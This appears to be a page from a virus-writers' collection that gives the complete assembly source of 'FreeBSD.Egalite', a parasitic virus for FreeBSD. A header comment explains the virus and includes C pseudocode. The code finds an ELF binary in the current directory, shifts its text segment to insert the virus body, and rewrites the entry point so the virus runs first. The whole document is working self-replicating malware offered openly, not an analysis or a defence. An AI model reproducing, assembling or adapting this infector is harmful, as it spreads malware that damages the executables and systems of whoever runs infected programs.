| ||||||||||||||||
|
FreeBSD.Egalite
by herm1t
See also the project folder
; By using this file, you agree to the terms and conditions set
; forth in the COPYING file which can be found at the top level
; of this distribution.
;
; FreeBSD.Egalite herm1t@vx.netlux.org 19-10-2005
;
; This is very basic parasitic virus for the FreeBSD. It infects one
; file in current directory. Tested on 5.4R.
;
; The infection method ressembles the well known one used in Linux
; viruses: text segment is shifted down (in memory) and the virus body
; and the copy of the headers is inserted before the start of the
; segment. There is only one difference with Linux: FreeBSD ELF loader
; assumes that all neccessary headers ELF header, program headers and
; interp will fit in the first page. This virus follows the habbit of
; the system loader to make a broad assumptions about ELF internal
; structure. :-)
;
; #define SHIFT_SHDRS(offset,delta) do { \
; if (ehdr->e_shoff >= offset) \
; ehdr->e_shoff += delta; \
; FOR_EACH_SHDR \
; if (shdr->sh_offset >= offset) \
; shdr->sh_offset += delta; \
; } while(0)
; #define MAKE_HOLE(off,size) do { \
; char buf[BUF_SIZE]; \
; memset(buf, 0, sizeof(buf)); \
; for (i = 0; i < size / sizeof(buf); i++) \
; ASSERT(write(h, buf, sizeof(buf)) == \
; sizeof(buf)); \
; ASSERT(write(h, buf, size % sizeof(buf)) == \
; size % sizeof(buf)); \
; m = mremap(m, l, l + size, 0); \
; if (m == MAP_FAILED) \
; goto fini_close; \
; if (off < l) \
; memmove(m+off+size, m+off, l-off); \
; l += size; \
; } while(0)
;
; /* ... at this point the file type and infection mark was */
; /* already checked, and file is mapped into memory */
; t = 0;
; FOR_EACH_PHDR
; if (phdr->p_type == PT_INTERP) {
; t = phdr->p_offset + phdr->p_filesz;
; break;
; }
; /* no INTERP, put the virus right after the EHDR,PHDR */
; if (t == 0)
; t = ehdr->e_phoff + ehdr->e_phnum * sizeof(Elf32_Phdr);
; /* do we have enough space? */
; ASSERT((PAGE_SIZE - t) > code_len);
;
; MAKE_HOLE(0, PAGE_SIZE);
; memcpy(m + t, code, code_len);
; bzero(m + t + code_len, PAGE_SIZE - code_len);
;
; /* adjust headers */
; SHIFT_SHDRS(0, PAGE_SIZE);
; FOR_EACH_PHDR
; /* extend text segment downwards */
; if (phdr->p_type == PT_LOAD && phdr->p_offset == 0) {
; phdr->p_vaddr -= PAGE_SIZE;
; phdr->p_paddr -= PAGE_SIZE;
; phdr->p_filesz+= PAGE_SIZE;
; phdr->p_memsz += PAGE_SIZE;
; ehdr->e_entry = phdr->p_vaddr + t;
; } else /* leave these segments in the beginning... */
; if (phdr->p_type == PT_PHDR || phdr->p_type == PT_INTERP) {
; phdr->p_vaddr -= PAGE_SIZE;
; phdr->p_paddr -= PAGE_SIZE;
; } else /* shift the others */
; phdr->p_offset+= PAGE_SIZE;
; /* unmap, close and return ... */
BITS 32
CPU 386
global _start
%macro _mov 2
%if %2 == 0
xor %1, %1
%else
%if %2 < 128
push byte %2
pop %1
%else
mov %1, %2
%endif
%endif
%endmacro
%define O(x) (x - virus_start)
%macro syscall 3
_mov eax, %1
push eax
int 0x80
jnb %%L1
add esp, (%2 * 4)
jmp %3
%%L1: add esp, (%2 * 4)
%endm
%define PAGE_SIZE 4096
%define SYS_write 4
%define SYS_open 5
%define SYS_close 6
%define SYS_lseek 19
%define SYS_mmap 197
%define SYS_munmap 73
%define SYS_getdents 272
%define D_RECLEN 4
%define D_NAME 8
%define PT_LOAD 1
%define PT_INTERP 3
%define PT_PHDR 6
%define e_entry 24
%define e_phoff 28
%define e_shoff 32
%define e_phnum 44
%define e_shnum 48
%define p_type 0
%define p_offset 4
%define p_vaddr 8
%define p_paddr 12
%define p_filesz 16
%define p_memsz 20
%define p_flags 24
%define p_align 28
%define sh_offset 16
_start: jmp virus_start
fake_host: push 0
mov eax, 1
push eax
int 0x80
virus_start: pusha
xor edx, edx
mov dh, 4
sub esp, edx
mov ecx, esp
mov word [ecx], 0x2e
push 0
push ecx
syscall SYS_open, 3, .a1
xchg eax, ebx
push 1024
push ecx
push ebx
call find_first
or eax, eax
jz .a1
.a0: push eax
call infect
or eax, eax
jnz .a1
push 1024
push ecx
push ebx
call find_next
or eax, eax
jnz .a0
.a1: add esp, edx
popa
push strict dword fake_host
old_entry equ $ - 4
ret
infect: pusha
mov ebx, [esp + 36]
xor eax, eax
mov dword [esp + 28], eax
cld
push 2
push ebx
syscall SYS_open, 3, .return
xchg eax, ebx
push 2
push 0
push ebx
syscall SYS_lseek, 4, .close
xchg eax, edx
push 0
push 0
push 0
push ebx
push 1
push 3
push edx
push 0
syscall SYS_mmap, 9, .close
xchg eax, esi
mov eax, dword [esi]
add eax, 0xb9b3ba81
jnz .unmap
cmp dword [esi + 16], 0x00030002
jne .unmap
mov eax, [esi + 20]
dec eax
jnz .unmap
cmp byte [esi + 7], 9
jne .unmap
cmp byte [esi + 8], 1
je .unmap
mov edi, esi
add edi, [esi + e_phoff]
movzx ecx, word [esi + e_phnum]
mov ebp, ecx
shl ebp, 5
add ebp, [esi + e_phoff]
.f0: cmp dword [edi + p_type], PT_INTERP
jne .f1
mov ebp, [edi + p_offset]
add ebp, [edi + p_filesz]
jmp .f2
.f1: add edi, 32
loop .f0
.f2: mov ecx, PAGE_SIZE
sub ecx, ebp
cmp ecx, VIRUS_SIZE
jb .unmap
pusha
push edx
push esi
syscall SYS_munmap, 3, .unmap
push 64
pop ecx
sub esp, ecx
mov edi, esp
xor eax, eax
push ecx
push edi
rep stosb
pop edi
pop ecx
.i0: push 64
push edi
push ebx
mov eax, SYS_write
push eax
int 0x80
add esp, 16
cmp eax, 64
je .i1
add esp, 64
popa
jmp .unmap
.i1: loop .i0
add esp, 64
add edx, PAGE_SIZE
push 0
push 0
push 0
push ebx
push 1
push 3
push edx
push 0
mov eax, SYS_mmap
push eax
int 0x80
jnc .i2
add esp, 36
popa
jmp .close
.i2: add esp, 36
xchg eax, esi
push esi
lea edi, [esi + edx]
lea esi, [edi - PAGE_SIZE]
lea ecx, [edx - PAGE_SIZE]
std
rep movsb
pop esi
mov [esp + 4], esi
mov [esp + 20], edx
cld
lea edi, [esi + ebp]
call .a0
.a0: pop esi
lea esi, [esi - .a0 + virus_start]
mov ecx, VIRUS_SIZE
rep movsb
mov ecx, PAGE_SIZE - VIRUS_SIZE
xor eax, eax
rep stosb
popa
mov edi, esi
add edi, [esi + e_phoff]
movzx ecx, word [esi + e_phnum]
.h0: mov eax, PAGE_SIZE
cmp dword [edi + p_type], PT_LOAD
jne .h1
cmp dword [edi + p_offset], 0
jne .h1
sub [edi + p_vaddr], eax
sub [edi + p_paddr], eax
add [edi + p_filesz], eax
add [edi + p_memsz], eax
push eax
mov eax, [esi + e_entry]
mov [esi + ebp + O(old_entry)], eax
mov eax, [edi + p_vaddr]
add eax, ebp
mov [esi + e_entry], eax
mov byte [esi + 8], 1
pop eax
jmp .h4
.h1: cmp dword [edi + p_type], PT_PHDR
je .h2
cmp dword [edi + p_type], PT_INTERP
jne .h3
.h2: sub [edi + p_vaddr], eax
sub [edi + p_paddr], eax
jmp .h4
.h3: add [edi + p_offset], eax
.h4: add edi, 32
loop .h0
mov eax, PAGE_SIZE
add [esi + e_shoff], eax
mov edi, esi
add edi, [esi + e_shoff]
movzx ecx, word [esi + e_shnum]
.g0: add [edi + sh_offset], eax
add edi, 40
loop .g0
inc dword [esp + 28]
.unmap: push edx
push esi
mov eax, SYS_munmap
push eax
int 0x80
add esp, 12
.close: push ebx
mov eax, SYS_close
push eax
int 0x80
add esp, 8
.return: popa
retn 4
find_first: pusha
xor eax, eax
mov edi, [esp + 40]
mov [edi], eax
jmp find_next.s0
find_next: pusha
mov edi, [esp + 40]
.s0: mov ebx, [esp + 36]
mov ecx, [esp + 44]
mov edx, [edi]
or edx, edx
jnz .s2
push ecx
push edi
push ebx
syscall SYS_getdents, 4, .s4
or eax, eax
jz .s4
xor ebp, ebp
.s1: add bp, word [edi + ebp + D_RECLEN]
inc edx
cmp ebp, eax
jb .s1
jmp .s3
.s2: push edi
movzx eax, word [edi + D_RECLEN]
lea esi, [edi + eax]
sub ecx, eax
cld
rep movsb
pop edi
.s3: dec edx
lea eax, [edi + D_NAME]
jmp .s5
.s4: xor eax, eax
.s5: mov [esp + 28], eax
mov [edi], edx
popa
retn 12
VIRUS_SIZE equ O($)
| ||||||||||||||||